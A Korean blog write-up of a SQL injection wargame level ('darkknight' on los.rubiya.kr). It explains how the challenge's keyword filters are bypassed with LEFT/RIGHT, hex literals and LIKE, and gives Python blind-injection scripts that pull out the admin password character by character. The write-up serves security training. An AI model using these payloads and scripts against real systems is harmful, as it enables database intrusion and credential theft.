이번에도 전 문제와 유사한 문제가 왔다. 하지만 필터링되는 부분이 다른 것을 확인할 수 있다.
이 문제에선 파라미터로 pw와 no를 서버로 전달한다.

 

서버에선 pw와 no에 대한 검사를 후 쿼리문에 삽입한다.
이때 검사는 pw의 경우 prob, _, ., (), '를 필터링하며, addslashes 함수를 이용하여 특정 특수 문자를 사용 못하게 치환한다.

no의 경우 ', SUBSTR, ASCII, =를 필터링한다.

 

공격 백터는 pw와 no가 있는데 pw의 경우 ''으로 감싸져 있어서 공격을 시도했을 때 '를 사용해야지만 가능할 거 같다. 하지만 pw의 필터링 목록 중 '이 있어서 pw의 경우 공격 백터로 사용을 못할 것으로 판단되었다.

 

남은 건 no 파라미터인데 no의 경우 감싸진 것이 없어서 HEX와 내장함수를 사용할 수 있어서 공격에 적합한 공격 백터로 생각하였다.
no 필터링 목록을 보면, ', SUBSTR, ASCII, =이 있는데 이들은 %09', LEFT() or RIGHT(), 0x61646D696E, LIKE로 우회가 된다.

 

일단 LENGTH 함수를 이용하여 admin의 pw 길이를 알아내도록 하겠다.

admin의 pw 길이는 8자리인 것으로 알아냈다.
파이썬으로 pw를 구해보겠다.

 

import requests, string, itertools

url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
headers = {'Cookie': 'PHPSESSID=489p7t125lkii058qpfa811lbv'}

def pwParser():
    result = ''
    for num in range(1, 8+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            print(s)
            parameter = f"?no=-1 or LEFT(pw, {num}) LIKE {hex(ord(result + s))}"
            res = requests.get(url + parameter, headers=headers)

            if 'Hello admin' in res.text:
                print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
                result += s
                break

    print(result)

pwParser()

이전 문제인 Golem 문제 풀이에 사용하였던 python 코드를 수정하여 pw 파싱을 시도하였지만 예상치 못한 Error가 발생하였다.
파이썬의 내장함수인 ord 함수는 문자를 아스키코드의 10진수로 변경해주는 함수이다.
여기서 문제는 단 문자열이 아닌 문자를 인자값으로 받는다는 것이다.

 

a = '123456'
LEFT(a, 1) -> '1'
LEFT(a, 2) -> '12'
LEFT(a, 3) -> '123'

나는 공격 쿼리를 LEFT 함수의 두번째 인자값을 점차 증가시켜서 비교하는 쿼리로 공격을 시도하였는데, ord 함수의 제어 상 변경해줘야 한다.

 

a = '123456'
RIGHT(LEFT(a, 1), 1) -> '1'
RIGHT(LEFT(a, 1), 2) -> '2'
RIGHT(LEFT(a, 1), 3) -> '3'

변경 방법은 LETF 함수와 RIGHT 함수를 같이 사용하는 것이다.

 

import requests, string, itertools

url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
headers = {'Cookie': 'PHPSESSID=489p7t125lkii058qpfa811lbv'}

def pwParser():
    result = ''
    for num in range(1, 8+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            if num == 8:
                print(s)
            parameter = f"?no=-1 or RIGHT(LEFT(pw, {num}), 1) LIKE {hex(ord(s))}"
            res = requests.get(url + parameter, headers=headers)

            if 'Hello admin' in res.text:
                print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
                result += s
                break

    print(result)

pwParser()

이상하게 8번째 값이 출력이 안되었다.

 

값을 넣어봤지만 아무 반응도 없어서 뭔가 이상함을 느낄 수 있었다.

 

그래서 직접 8번째 자리를 찾아보니, f (0x66)인 것을 알 수 있었다. Guest의 pw 8번째 값도 f이라서 Hello guest가 뜬 것으로 판단이 되었다.

 

그래서 8번째 자리를 f를 넣어서 서버로 보내니, 문제를 풀리는 것을 확인할 수 있었다.

복사했습니다!